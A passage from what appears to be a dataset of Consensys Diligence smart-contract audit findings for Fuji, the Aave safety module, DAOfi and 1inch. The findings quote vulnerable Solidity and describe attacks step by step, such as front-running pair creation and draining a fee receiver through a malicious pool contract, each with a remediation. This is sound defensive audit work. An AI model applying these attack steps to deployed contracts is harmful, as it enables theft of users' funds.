redeclared in various contracts. This duplication makes the code harder to maintain and increases the risk for bugs. A central contract, e.g., Constants.sol, ConstantsFTM.sol, and ConstantsETH.sol, to declare the constants used throughout the codebase instead of redeclaring them in multiple source units can fix this issue. Ideally, for example, an address constant for an external component is only configured in a single place but consumed by multiple contracts. This will significantly reduce the potential for misconfiguration. Avoid hardcoded addresses and use meaningful, constant names for them. Note that the solidity compiler is going to inline constants where possible. Examples code/contracts/mainnet/WETHUnwrapper.sol:L7-L9 contract WETHUnwrapper { address constant weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; code/contracts/mainnet/Swapper.sol:L16-L19 address public constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; address public constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address public constant SUSHI_ROUTER_ADDR = 0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F; code/contracts/mainnet/FujiVault.sol:L32-L34 address public constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; code/contracts/mainnet/Fliquidator.sol:L31-L31 address public constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; code/contracts/mainnet/providers/ProviderCompound.sol:L14-L18 contract HelperFunct { function _isETH(address token) internal pure returns (bool) { return (token == address(0) || token == address(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE)); code/contracts/mainnet/libraries/LibUniversalERC20.sol:L10-L14 IERC20 private constant _ETH_ADDRESS = IERC20(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE); IERC20 private constant _ZERO_ADDRESS = IERC20(0x0000000000000000000000000000000000000000); function isETH(IERC20 token) internal pure returns (bool) { code/contracts/mainnet/flashloans/Flasher.sol:L34-L36 address private constant _ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; address private constant _WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; Use meaningful names instead of hardcoded addresses code/contracts/mainnet/Harvester.sol:L20-L29 if (_farmProtocolNum == 0) { transaction.to = 0x3d9819210A31b4961b30EF54bE2aeD79B9c9Cd3B; transaction.data = abi.encodeWithSelector( bytes4(keccak256(\"claimComp(address)\")), msg.sender ); claimedToken = 0xc00e94Cb662C3520282E6f5717214004A7f26888; } else if (_farmProtocolNum == 1) { uint256 harvestType = abi.decode(_data, (uint256)); Avoid unnamed hardcoded inlined addresses code/contracts/fantom/providers/ProviderCream.sol:L157-L162 if (_isFTM(_asset)) { // Transform FTM to WFTM IWETH(0x21be370D5312f44cB42ce377BC9b8a0cEF1A4C83).deposit{ value: _amount }(); _asset = address(0x21be370D5312f44cB42ce377BC9b8a0cEF1A4C83); comptroller address - can also be private constant state variables as the compiler/preprocessor will inline them. code/contracts/fantom/providers/ProviderCream.sol:L21-L31 function _getMappingAddr() internal pure returns (address) { return 0x1eEdE44b91750933C96d2125b6757C4F89e63E20; // Cream fantom mapper function _getComptrollerAddress() internal pure returns (address) { return 0x4250A6D3BD57455d7C6821eECb6206F507576cD2; // Cream fantom function _getUnwrapper() internal pure returns(address) { return 0xee94A39D185329d8c46dEA726E01F91641E57346; WFTM multiple re-declarations code/contracts/fantom/WFTMUnwrapper.sol:L7-L9 contract WFTMUnwrapper { address constant wftm = 0x21be370D5312f44cB42ce377BC9b8a0cEF1A4C83; code/contracts/fantom/providers/ProviderGeist.sol:L27-L29 function _getWftmAddr() internal pure returns (address) { return 0x21be370D5312f44cB42ce377BC9b8a0cEF1A4C83; code/contracts/fantom/providers/ProviderCream.sol:L79-L81 IWETH(0x21be370D5312f44cB42ce377BC9b8a0cEF1A4C83).deposit{ value: _amount }(); _asset = address(0x21be370D5312f44cB42ce377BC9b8a0cEF1A4C83); ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2022/03/fuji-protocol/"}, {"title": "4.27 Always use the best available type", "body": " Description Declare state variables with the best type available and downcast to address if needed. Typecasting inside the corpus of a function is unneeded when the parameter s type is known beforehand. Declare the best type in function arguments, state vars. Always return the best type available instead of falling back to address. Examples There are many more instances of this, but here s a list of samples: Should be declared with the correct types/interfaces instead of address code/contracts/FujiAdmin.sol:L14-L20 address private _flasher; address private _fliquidator; address payable private _ftreasury; address private _controller; address private _vaultHarvester; Should return the correct type/interfaces instead of address code/contracts/FujiAdmin.sol:L144-L147 Should declare the argument with the correct type instead of casting in the function body. / function getSwapper() external view override returns (address) { return _swapper; Should declare the argument with the correct type instead of casting in the function body. code/contracts/Controller.sol:L73-L80 function doRefinancing( address _vaultAddr, address _newProvider, uint8 _flashNum ) external isValidVault(_vaultAddr) onlyOwnerOrExecutor { IVault vault = IVault(_vaultAddr); Should make the FujiVaultFTM.fujiERC1155 state variable of type IFujiERC1155 code/contracts/fantom/FujiVaultFTM.sol:L438-L445 IFujiERC1155(fujiERC1155).updateState( vAssets.borrowID, IProvider(activeProvider).getBorrowBalance(vAssets.borrowAsset) ); IFujiERC1155(fujiERC1155).updateState( vAssets.collateralID, IProvider(activeProvider).getDepositBalance(vAssets.collateralAsset) ); Return the best type available code/contracts/fantom/providers/ProviderCream.sol:L25-L31 function _getComptrollerAddress() internal pure returns (address) { return 0x4250A6D3BD57455d7C6821eECb6206F507576cD2; // Cream fantom function _getUnwrapper() internal pure returns(address) { return 0xee94A39D185329d8c46dEA726E01F91641E57346; ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2022/03/fuji-protocol/"}, {"title": "4.1 Unhandled return values of transfer and transferFrom ", "body": " Resolution The issue was fixed by using OpenZeppelin s ERC20 implementations are not always consistent. Some implementations of transfer and transferFrom could return false on failure instead of reverting. It is safer to wrap such calls into require() statements to these failures. code/contracts/stake/StakedToken.sol:L92 IERC20(STAKED_TOKEN).transferFrom(msg.sender, address(this), amount); code/contracts/stake/StakedToken.sol:L156 REWARD_TOKEN.transferFrom(REWARDS_VAULT, to, amountToWithdraw); code/contracts/stake/StakedToken.sol:L125 IERC20(STAKED_TOKEN).transfer(to, amount); ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/09/aave-safety-module/"}, {"title": "4.2 Staking cooldown can be avoided for a part of the funds ", "body": " Resolution The cooldown window will be set to much higher value (to the order of days) in production. The mechanism is sufficient to prevent stakers from withdrawing if the cooldown window is long enough while also being larger than the withdrawal window. Aave is planning to introduce a slashing mechanism for the staking system in the future. In order to prevent stakers from withdrawing their stake immediately, the team has added a cooldown mechanism. The idea is that whenever stakers want to redeem the stake, they should call the cooldown function and wait for COOLDOWN_SECONDS. After that, a time period called UNSTAKE_WINDOW starts during which the stake can be withdrawn. However, depending on the settings ( COOLDOWN_SECONDS and UNSTAKE_WINDOW values), various algorithms exist that would allow users to optimize their withdrawal tactics. By using such tactics, stakers may be able to withdraw at least a part of the stake immediately. Let s assume that the values are the same as in tests: COOLDOWN_SECONDS == 1 hour and UNSTAKE_WINDOW == 30 minutes. Stakers can split their stake into 3 parts and call cooldown for one of them every 30 minutes. That would ensure that at least 1/3 of the stake can be withdrawn immediately at any time. And on average, more than 1/2 of the stake can be withdrawn immediately. Remediation: Make sure that the COOLDOWN_SECONDS value is much larger than the UNSTAKE_WINDOW. This will make any cooldown optimization techniques less effective. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/09/aave-safety-module/"}, {"title": "4.3 code quality issues ", "body": " Resolution all issues have been fixed in production. We recommend the following improvements: Fix todos Clean up all TODOs before going into production: code/contracts/stake/AaveDistributionManager.sol:L44-L46 function configureAssets(DistributionTypes.AssetConfigInput[] calldata assetsConfigInput) external // override TODO: create interface Fix incorrect NatSpec comments Clean up NatSpec comments to improve readability. The function claimRewards() in StakedToken has the same description as the stake() function: code/contracts/stake/StakedToken.sol:L141-L145 One function argument is missing from the docstrings for claimRewards() in AaveIncentivesController: @dev Stakes tokens to start earning rewards @param to Address to stake for @param amount Amount to stake **/ function claimRewards(address to, uint256 amount) external override { One function argument is missing from the docstrings for claimRewards() in AaveIncentivesController: code/contracts/stake/AaveIncentivesController.sol:L97-L107 /** @dev Claims reward for an user, on all the assets of the lending pool, accumulating the pending rewards @param amount Amount of rewards to claim @param to Address that will be receiving the rewards @return Rewards claimed **/ function claimRewards( uint256 amount, address to, bool stake ) external override returns (uint256) { ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/09/aave-safety-module/"}, {"title": "4.1 Token approvals can be stolen in DAOfiV1Router01.addLiquidity() ", "body": " Description DAOfiV1Router01.addLiquidity() creates the desired pair contract if it does not already exist, then transfers tokens into the pair and calls DAOfiV1Pair.deposit(). There is no validation of the address to transfer tokens from, so an attacker could pass in any address with nonzero token approvals to DAOfiV1Router. This could be used to add liquidity to a pair contract for which the attacker is the pairOwner, allowing the stolen funds to be retrieved using DAOfiV1Pair.withdraw(). code/daofi-v1-periphery/contracts/DAOfiV1Router01.sol:L57-L85 function addLiquidity( LiquidityParams calldata lp, uint deadline ) external override ensure(deadline) returns (uint256 amountBase) { if (IDAOfiV1Factory(factory).getPair( lp.tokenBase, lp.tokenQuote, lp.slopeNumerator, lp.n, lp.fee ) == address(0)) { IDAOfiV1Factory(factory).createPair( address(this), lp.tokenBase, lp.tokenQuote, msg.sender, lp.slopeNumerator, lp.n, lp.fee ); address pair = DAOfiV1Library.pairFor( factory, lp.tokenBase, lp.tokenQuote, lp.slopeNumerator, lp.n, lp.fee ); TransferHelper.safeTransferFrom(lp.tokenBase, lp.sender, pair, lp.amountBase); TransferHelper.safeTransferFrom(lp.tokenQuote, lp.sender, pair, lp.amountQuote); amountBase = IDAOfiV1Pair(pair).deposit(lp.to); Recommendation Transfer tokens from msg.sender instead of lp.sender. ", "labels": ["Consensys", "Critical"], "html_url": "https://consensys.io/diligence/audits/2021/02/daofi/"}, {"title": "4.2 The deposit of a new pair can be stolen ", "body": " Description To create a new pair, a user is expected to call the same addLiquidity() (or the addLiquidityETH()) function of the router contract seen above: code/daofi-v1-periphery/contracts/DAOfiV1Router01.sol:L57-L85 function addLiquidity( LiquidityParams calldata lp, uint deadline ) external override ensure(deadline) returns (uint256 amountBase) { if (IDAOfiV1Factory(factory).getPair( lp.tokenBase, lp.tokenQuote, lp.slopeNumerator, lp.n, lp.fee ) == address(0)) { IDAOfiV1Factory(factory).createPair( address(this), lp.tokenBase, lp.tokenQuote, msg.sender, lp.slopeNumerator, lp.n, lp.fee ); address pair = DAOfiV1Library.pairFor( factory, lp.tokenBase, lp.tokenQuote, lp.slopeNumerator, lp.n, lp.fee ); TransferHelper.safeTransferFrom(lp.tokenBase, lp.sender, pair, lp.amountBase); TransferHelper.safeTransferFrom(lp.tokenQuote, lp.sender, pair, lp.amountQuote); amountBase = IDAOfiV1Pair(pair).deposit(lp.to); This function checks if the pair already exists and creates a new one if it does not. After that, the first and only deposit is made to that pair. The attacker can front-run that call and create a pair with the same parameters (thus, with the same address) by calling the createPair function of the DAOfiV1Factory contract. By calling that function directly, the attacker does not have to make the deposit when creating a new pair. The initial user will make this deposit, whose funds can now be withdrawn by the attacker. Recommendation There are a few factors/bugs that allowed this attack. All or some of them should be fixed: The createPair function of the DAOfiV1Factory contract can be called directly by anyone without depositing with any router address as the parameter. The solution could be to allow only the router to create a pair. The addLiquidity function checks that the pair does not exist yet. If the pair exists already, a deposit should only be made by the owner of the pair. But in general, a new pair shouldn t be deployed without depositing in the same transaction. The pair s address does not depend on the owner/creator. It might make sense to add that information to the salt. ", "labels": ["Consensys", "Critical"], "html_url": "https://consensys.io/diligence/audits/2021/02/daofi/"}, {"title": "4.3 Incorrect token decimal conversions can lead to loss of funds ", "body": " Description The _convert() function in DAOfiV1Pair is used to accommodate tokens with varying decimals() values. There are three cases in which it implicitly returns 0 for any amount, the most notable of which is when token.decimals() == resolution. As a result of this, getQuoteOut() reverts any time either baseToken or quoteToken have decimals == INTERNAL_DECIMALS (currently hardcoded to 8). The result of this is that no swaps can be performed in one of these pools, and the deposit() function will return an incorrect amountBaseOut of baseToken to the depositor, the balance of which can then be withdrawn by the pairOwner. code/daofi-v1-core/contracts/DAOfiV1Pair.sol:L108-L130 function _convert(address token, uint256 amount, uint8 resolution, bool to) private view returns (uint256 converted) { uint8 decimals = IERC20(token).decimals(); uint256 diff = 0; uint256 factor = 0; converted = 0; if (decimals > resolution) { diff = uint256(decimals.sub(resolution)); factor = 10 ** diff; if (to && amount >= factor) { converted = amount.div(factor); } else if (!to) { converted = amount.mul(factor); } else if (decimals < resolution) { diff = uint256(resolution.sub(decimals)); factor = 10 ** diff; if (to) { converted = amount.mul(factor); } else if (!to && amount >= factor) { converted = amount.div(factor); Recommendation The _convert() function should return amount when token.decimals() == resolution. Additionally, implicit return values should be avoided whenever possible, especially in functions that implement complex mathematical operations. BancorFormula.power(baseN, baseD, _, _) does not support baseN < baseD, and checks should be added to ensure that any call to the BancorFormula conforms to the expected input ranges. ", "labels": ["Consensys", "Major"], "html_url": "https://consensys.io/diligence/audits/2021/02/daofi/"}, {"title": "4.4 The swapExactTokensForETH checks the wrong return value ", "body": " Description The following lines are intended to check that the amount of tokens received from a swap is greater than the minimum amount expected from this swap (sp.amountOut): code/daofi-v1-periphery/contracts/DAOfiV1Router01.sol:L341-L345 uint amountOut = IWETH10(WETH).balanceOf(address(this)); require( IWETH10(sp.tokenOut).balanceOf(address(this)).sub(balanceBefore) >= sp.amountOut, 'DAOfiV1Router: INSUFFICIENT_OUTPUT_AMOUNT' ); Instead, it calculates the difference between the initial receiver s balance and the balance of the router. Recommendation Check the intended value. ", "labels": ["Consensys", "Major"], "html_url": "https://consensys.io/diligence/audits/2021/02/daofi/"}, {"title": "4.5 DAOfiV1Pair.deposit() accepts deposits of zero, blocking the pool ", "body": " Description code/daofi-v1-core/contracts/DAOfiV1Pair.sol:L223-L239 function deposit(address to) external override lock returns (uint256 amountBaseOut) { require(msg.sender == router, 'DAOfiV1: FORBIDDEN_DEPOSIT'); require(deposited == false, 'DAOfiV1: DOUBLE_DEPOSIT'); reserveBase = IERC20(baseToken).balanceOf(address(this)); reserveQuote = IERC20(quoteToken).balanceOf(address(this)); // this function is locked and the contract can not reset reserves deposited = true; if (reserveQuote > 0) { // set initial supply from reserveQuote supply = amountBaseOut = getBaseOut(reserveQuote); if (amountBaseOut > 0) { _safeTransfer(baseToken, to, amountBaseOut); reserveBase = reserveBase.sub(amountBaseOut); emit Deposit(msg.sender, reserveBase, reserveQuote, amountBaseOut, to); Recommendation Require a minimum deposit amount in both baseToken and quoteToken, and do not rely on any assumptions about the distribution of baseToken as part of the security model. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2021/02/daofi/"}, {"title": "4.6 Restricting DAOfiV1Pair functions to calls from router makes DAOfiV1Router01 security critical ", "body": " Description The DAOfiV1Pair functions deposit(), withdraw(), and swap() are all restricted to calls from the router in order to avoid losses from user error. However, this means that any unidentified issue in the Router could render all pair contracts unusable, potentially locking the pair owner s funds. Additionally, DAOfiV1Factory.createPair() allows any nonzero address to be provided as the router, so pairs can be initialized with a malicious router that users would be forced to interact with to utilize the pair contract. code/daofi-v1-core/contracts/DAOfiV1Pair.sol:L223-L224 function deposit(address to) external override lock returns (uint256 amountBaseOut) { require(msg.sender == router, 'DAOfiV1: FORBIDDEN_DEPOSIT'); code/daofi-v1-core/contracts/DAOfiV1Pair.sol:L250-L251 function withdraw(address to) external override lock returns (uint256 amountBase, uint256 amountQuote) { require(msg.sender == router, 'DAOfiV1: FORBIDDEN_WITHDRAW'); code/daofi-v1-core/contracts/DAOfiV1Pair.sol:L292-L293 function swap(address tokenIn, address tokenOut, uint256 amountIn, uint256 amountOut, address to) external override lock { require(msg.sender == router, 'DAOfiV1: FORBIDDEN_SWAP'); Recommendation Do not restrict DAOfiV1Pair functions to calls from router, but encourage users to use a trusted router to avoid losses from user error. If this restriction is kept, consider including the router address in the deployment salt for the pair or hardcoding the address of a trusted router in DAOfiV1Factory instead of taking the router as a parameter to createPair(). ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2021/02/daofi/"}, {"title": "4.7 Pair contracts can be easily blocked ", "body": " Description The existing mitigation for this issue is to create a new pool with slightly different parameters. This creates significant cost for the creator of a pair, forces them to deploy a pair with sub-optimal parameters, and could potentially block all interesting pools for a token pair. The salt used to determine unique pair contracts in DAOfiV1Factory.createPair(): code/daofi-v1-core/contracts/DAOfiV1Factory.sol:L77-L84 require(getPair(baseToken, quoteToken, slopeNumerator, n, fee) == address(0), 'DAOfiV1: PAIR_EXISTS'); // single check is sufficient bytes memory bytecode = type(DAOfiV1Pair).creationCode; bytes32 salt = keccak256(abi.encodePacked(baseToken, quoteToken, slopeNumerator, n, fee)); assembly { pair := create2(0, add(bytecode, 32), mload(bytecode), salt) IDAOfiV1Pair(pair).initialize(router, baseToken, quoteToken, pairOwner, slopeNumerator, n, fee); pairs[salt] = pair; Recommendation Consider adding additional parameters to the salt that defines a unique pair, such as the pairOwner. Modifying the parameters included in the salt can also be used to partially mitigate other security concerns raised in this report. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2021/02/daofi/"}, {"title": "4.8 DAOfiV1Router01.removeLiquidityETH() does not support tokens with no return value ", "body": " Description While the rest of the system uses the safeTransfer* pattern, allowing tokens that do not return a boolean value on transfer() or transferFrom(), DAOfiV1Router01.removeLiquidityETH() throws and consumes all remaining gas if the base token does not return true. Note that the deposit in this case can still be withdrawn without unwrapping the Eth using removeLiquidity(). code/daofi-v1-periphery/contracts/DAOfiV1Router01.sol:L157-L167 function removeLiquidityETH( LiquidityParams calldata lp, uint deadline ) external override ensure(deadline) returns (uint amountToken, uint amountETH) { IDAOfiV1Pair pair = IDAOfiV1Pair(DAOfiV1Library.pairFor(factory, lp.tokenBase, WETH, lp.slopeNumerator, lp.n, lp.fee)); require(msg.sender == pair.pairOwner(), 'DAOfiV1Router: FORBIDDEN'); (amountToken, amountETH) = pair.withdraw(address(this)); assert(IERC20(lp.tokenBase).transfer(lp.to, amountToken)); IWETH10(WETH).withdraw(amountETH); TransferHelper.safeTransferETH(lp.to, amountETH); Recommendation Be consistent with the use of safeTransfer*, and do not use assert() in cases where the condition can be false. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2021/02/daofi/"}, {"title": "5.1 [Out of Scope] ReferralFeeReceiver - anyone can steal all the funds that belong to ReferralFeeReceiver Fix Unverified", "body": " Resolution According to the client, this issue is addressed in 1inch-exchange/1inch-liquidity-protocol#2 and the reentrancy in FeeReceiver in 1inch-exchange/1inch-liquidity-protocol@e9c6a03 (This fix is as reported by the developer team, but has not been verified by Diligence). Description Note: This issue was raised in components that were being affected by the scope reduction as outlined in the section Scope and are, therefore, only shallowly validated. Nevertheless, we find it important to communicate such potential findings and ask the client to further investigate. The ReferralFeeReceiver receives pool shares when users swap() tokens in the pool. A ReferralFeeReceiver may be used with multiple pools and, therefore, be a lucrative target as it is holding pool shares. Any token or ETH that belongs to the ReferralFeeReceiver is at risk and can be drained by any user by providing a custom mooniswap pool contract that references existing token holdings. It should be noted that none of the functions in ReferralFeeReceiver verify that the user-provided mooniswap pool address was actually deployed by the linked MooniswapFactory. The factory provides certain security guarantees about mooniswap pool contracts (e.g. valid mooniswap contract, token deduplication, tokenA!=tokenB, enforced token sorting, \u2026), however, since the ReferralFeeReceiver does not verify the user-provided mooniswap address they are left unchecked. Additional Notes freezeEpoch - (callable by anyone) performs a pool.withdraw() with the minAmounts check being disabled. This may allow someone to call this function at a time where the contract actually gets a bad deal. trade - (callable by anyone) can intentionally be used to perform bad trades (front-runnable) trade - (callable by anyone) appears to implement inconsistent behavior when sending out availableBalance. ETH is sent to tx.origin (the caller) while tokens are sent to the user-provided mooniswap address. code/contracts/ReferralFeeReceiver.sol:L91-L95 if (path[0].isETH()) { tx.origin.transfer(availableBalance); // solhint-disable-line avoid-tx-origin } else { path[0].safeTransfer(address(mooniswap), availableBalance); multiple methods - since mooniswap is a user-provided address there are a lot of opportunities to reenter the contract. Consider adding reentrancy guards as another security layer (e.g. claimCurrentEpoch and others). multiple methods - do not validate the amount of tokens that are returned, causing an evm assertion due to out of bounds index access. code/contracts/ReferralFeeReceiver.sol:L57-L59 IERC20[] memory tokens = mooniswap.getTokens(); uint256 token0Balance = tokens[0].uniBalanceOf(address(this)); uint256 token1Balance = tokens[1].uniBalanceOf(address(this)); in GovernanceFeeReceiver anyone can intentionally force unwrapping of pool tokens or perform swaps in the worst time possible. e.g. The checks for withdraw(..., minAmounts) is disabled. code/contracts/governance/GovernanceFeeReceiver.sol:L18-L26 function unwrapLPTokens(Mooniswap mooniswap) external validSpread(mooniswap) { mooniswap.withdraw(mooniswap.balanceOf(address(this)), new uint256[](0)); function swap(IERC20[] memory path) external validPath(path) { (uint256 amount,) = _maxAmountForSwap(path, path[0].uniBalanceOf(address(this))); uint256 result = _swap(path, amount, payable(address(rewards))); rewards.notifyRewardAmount(result); Examples Let s assume the following scenario: ReferralFeeReceiver holds DAI token and we want to steal them. An attacker may be able to drain the contract from DAI token via claimFrozenToken if they control the mooniswap address argument and provide a malicious contract user.share[mooniswap][firstUnprocessedEpoch] > 0 - this can be arbitrarily set in updateReward token.epochBalance[currentEpoch].token0Balance > 0 - this can be manipulated in freezeEpoch by providing a malicious mooniswap contract they own a worthless ERC20 token e.g. named ATTK The following steps outline the attack: The attacker calls into updateReward to set user.share[mooniswap][currentEpoch] to a value that is greater than zero to make sure that share in claimFrozenEpoch takes the _transferTokenShare path. code/contracts/ReferralFeeReceiver.sol:L38-L50 function updateReward(address referral, uint256 amount) external override { Mooniswap mooniswap = Mooniswap(msg.sender); TokenInfo storage token = tokenInfo[mooniswap]; UserInfo storage user = userInfo[referral]; uint256 currentEpoch = token.currentEpoch; // Add new reward to current epoch user.share[mooniswap][currentEpoch] = user.share[mooniswap][currentEpoch].add(amount); token.epochBalance[currentEpoch].totalSupply = token.epochBalance[currentEpoch].totalSupply.add(amount); // Collect all processed epochs and advance user token epoch _collectProcessedEpochs(user, token, mooniswap, currentEpoch); The attacker then calls freezeEpoch() providing the malicious mooniswap contract address controlled by the attacker. The malicious contract returns token that is controlled by the attacker (e.g. ATTK) in a call to mooniswap.getTokens(); The contract then stores the current balance of the attacker-controlled token in token0Balance/token1Balance. Note that the token being returned here by the malicious contract can be different from the one we re checking out in the last step (balance manipulation via ATTK, checkout of DAI in the last step). Then the contract calls out to the malicious mooniswap contract. This gives the malicious contract an easy opportunity to send some attacker-controlled token (ATTK) to the ReferralFeeReceiver in order to freely manipulate the frozen tokenbalances (tokens[0].uniBalanceOf(address(this)).sub(token0Balance);). Note that the used token addresses are never stored anywhere. The balances recorded here are for an attacker-controlled token (ATTK), not the actual one that we re about to steal (e.g. DAI) The token balances are now set-up for checkout in the last step (claimFrozenEpoch). code/contracts/ReferralFeeReceiver.sol:L52-L64 function freezeEpoch(Mooniswap mooniswap) external validSpread(mooniswap) { TokenInfo storage token = tokenInfo[mooniswap]; uint256 currentEpoch = token.currentEpoch; require(token.firstUnprocessedEpoch == currentEpoch, \"Previous epoch is not finalized\"); IERC20[] memory tokens = mooniswap.getTokens(); uint256 token0Balance = tokens[0].uniBalanceOf(address(this)); uint256 token1Balance = tokens[1].uniBalanceOf(address(this)); mooniswap.withdraw(mooniswap.balanceOf(address(this)), new uint256[](0)); token.epochBalance[currentEpoch].token0Balance = tokens[0].uniBalanceOf(address(this)).sub(token0Balance); token.epochBalance[currentEpoch].token1Balance = tokens[1].uniBalanceOf(address(this)).sub(token1Balance); token.currentEpoch = currentEpoch.add(1); A call to claimFrozenEpoch checks-out the previously frozen token balance. The claim > 0 requirement was fulfilled in step 1. The token balance was prepared for the attacker-controlled token (ATTK) in step 2, but we re now checking out DAI. When the contract calls out to the attackers mooniswap contract the call to IERC20[] memory tokens = mooniswap.getTokens(); returns the address of the token to be stolen (e.g. DAI) instead of the attacker-controlled token (ATTK) that was used to set-up the balance records. Subsequently, the valuable target tokens (DAI) are sent out to the caller in _transferTokenShare. code/contracts/ReferralFeeReceiver.sol:L153-L162 if (share > 0) { EpochBalance storage epochBalance = token.epochBalance[firstUnprocessedEpoch]; uint256 totalSupply = epochBalance.totalSupply; user.share[mooniswap][firstUnprocessedEpoch] = 0; epochBalance.totalSupply = totalSupply.sub(share); IERC20[] memory tokens = mooniswap.getTokens(); epochBalance.token0Balance = _transferTokenShare(tokens[0], epochBalance.token0Balance, share, totalSupply); epochBalance.token1Balance = _transferTokenShare(tokens[1], epochBalance.token1Balance, share, totalSupply); epochBalance.inchBalance = _transferTokenShare(inchToken, epochBalance.inchBalance, share, totalSupply); Recommendation Enforce that the user-provided mooniswap contract was actually deployed by the linked factory. Other contracts cannot be trusted. Consider implementing token sorting and de-duplication (tokenA!=tokenB) in the pool contract constructor as well. Consider employing a reentrancy guard to safeguard the contract from reentrancy attacks. Improve testing. The methods mentioned here are not covered at all. Improve documentation and provide a specification that outlines how this contract is supposed to be used. Review the additional notes provided with this issue. ", "labels": ["Consensys", "Critical"], "html_url": "https://consensys.io/diligence/audits/2020/12/1inch-liquidity-protocol/"}, {"title": "5.2 GovernanceMothership - notifyFor allows to arbitrarily create new or override other users stake in governance modules Fix Unverified", "body": " Resolution According to the client, this issue is addressed in 1inch-exchange/1inch-liquidity-protocol@2ce549d and added tests with 1inch-exchange/1inch-liquidity-protocol@e0dc46b (This fix is as reported by the developer team, but has not been verified by Diligence). Description The notify* methods are called to update linked governance modules when an accounts stake changes in the Mothership. The linked modules then update their own balances of the user to accurately reflect the account s real stake in the Mothership. Besides notify there s also a method named notifyFor which is publicly accessible. It is assumed that the method should be used similar to notify to force an update for another account s balance. However, invoking the method forces an update in the linked modules for the provided address, but takes balanceOf(msg.sender) instead of balanceOf(account). This allows malicious actors to: Arbitrarily change other accounts stake in linked governance modules (e.g. zeroing stake, increasing stake) based on the callers stake in the mothership Duplicate stake out of thin air to arbitrary addresses (e.g. staking in mothership once and calling notifyFor many other account addresses) Examples publicly accessible method allows forcing stake updates for arbitrary users code/contracts/inch/GovernanceMothership.sol:L48-L50 function notifyFor(address account) external { _notifyFor(account, balanceOf(msg.sender)); the method calls the linked governance modules code/contracts/inch/GovernanceMothership.sol:L73-L78 function _notifyFor(address account, uint256 balance) private { uint256 modulesLength = _modules.length(); for (uint256 i = 0; i < modulesLength; ++i) { IGovernanceModule(_modules.at(i)).notifyStakeChanged(account, balance); which will arbitrarily mint or burn stake in the BalanceAccounting of Factory or Reward (or other linked governance modules) code/contracts/governance/BaseGovernanceModule.sol:L29-L31 function notifyStakeChanged(address account, uint256 newBalance) external override onlyMothership { _notifyStakeChanged(account, newBalance); code/contracts/governance/MooniswapFactoryGovernance.sol:L144-L160 function _notifyStakeChanged(address account, uint256 newBalance) internal override { uint256 balance = balanceOf(account); if (newBalance > balance) { _mint(account, newBalance.sub(balance)); } else if (newBalance < balance) { _burn(account, balance.sub(newBalance)); } else { return; uint256 newTotalSupply = totalSupply(); _defaultFee.updateBalance(account, _defaultFee.votes[account], balance, newBalance, newTotalSupply, _DEFAULT_FEE, _emitDefaultFeeVoteUpdate); _defaultSlippageFee.updateBalance(account, _defaultSlippageFee.votes[account], balance, newBalance, newTotalSupply, _DEFAULT_SLIPPAGE_FEE, _emitDefaultSlippageFeeVoteUpdate); _defaultDecayPeriod.updateBalance(account, _defaultDecayPeriod.votes[account], balance, newBalance, newTotalSupply, _DEFAULT_DECAY_PERIOD, _emitDefaultDecayPeriodVoteUpdate); _referralShare.updateBalance(account, _referralShare.votes[account], balance, newBalance, newTotalSupply, _DEFAULT_REFERRAL_SHARE, _emitReferralShareVoteUpdate); _governanceShare.updateBalance(account, _governanceShare.votes[account], balance, newBalance, newTotalSupply, _DEFAULT_GOVERNANCE_SHARE, _emitGovernanceShareVoteUpdate); code/contracts/governance/GovernanceRewards.sol:L72-L79 function _notifyStakeChanged(address account, uint256 newBalance) internal override updateReward(account) { uint256 balance = balanceOf(account); if (newBalance > balance) { _mint(account, newBalance.sub(balance)); } else if (newBalance < balance) { _burn(account, balance.sub(newBalance)); Recommendation Remove notifyFor or change it to take the balance of the correct account _notifyFor(account, balanceOf(msg.sender)). ", "labels": ["Consensys", "Critical"], "html_url": "https://consensys.io/diligence/audits/2020/12/1inch-liquidity-protocol/"}, {"title": "5.3 Users can increase their voting power by voting for the max/min values ", "body": " Description Many parameters in the system are determined by the complicated governance mechanism. These parameters are calculated as a result of the voting process and are equal to the weighted average of all the votes that stakeholders make. The idea is that every user is voting for the desired value. But if the result value is smaller (larger) than the desired, the user can change the vote for the max (min) possible value. That would shift the result towards the desired one and basically increase this stakeholder s voting power. So every user is more incentivized to vote for the min/max value than for the desired one. The issue s severity is not high because all parameters have reasonable max value limitations, so it s hard to manipulate the system too much. Recommendation Reconsider the voting mechanism. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2020/12/1inch-liquidity-protocol/"}, {"title": "5.4 The uniTransferFrom function can potentially be used with invalid params Fix Unverified", "body": " Resolution According to the client, this issue is addressed in 1inch-exchange/1inch-liquidity-protocol@d0ffb6f. (This fix is as reported by the developer team, but has not been verified by Diligence). Description The system is using the UniERC20 contract to incapsulate transfers of both ERC-20 tokens and ETH. This contract has uniTransferFrom function that can be used for any ERC-20 or ETH: code/contracts/libraries/UniERC20.sol:L36-L48 function uniTransferFrom(IERC20 token, address payable from, address to, uint256 amount) internal { if (amount > 0) { if (isETH(token)) { require(msg.value >= amount, \"UniERC20: not enough value\"); if (msg.value > amount) { // Return remainder if exist 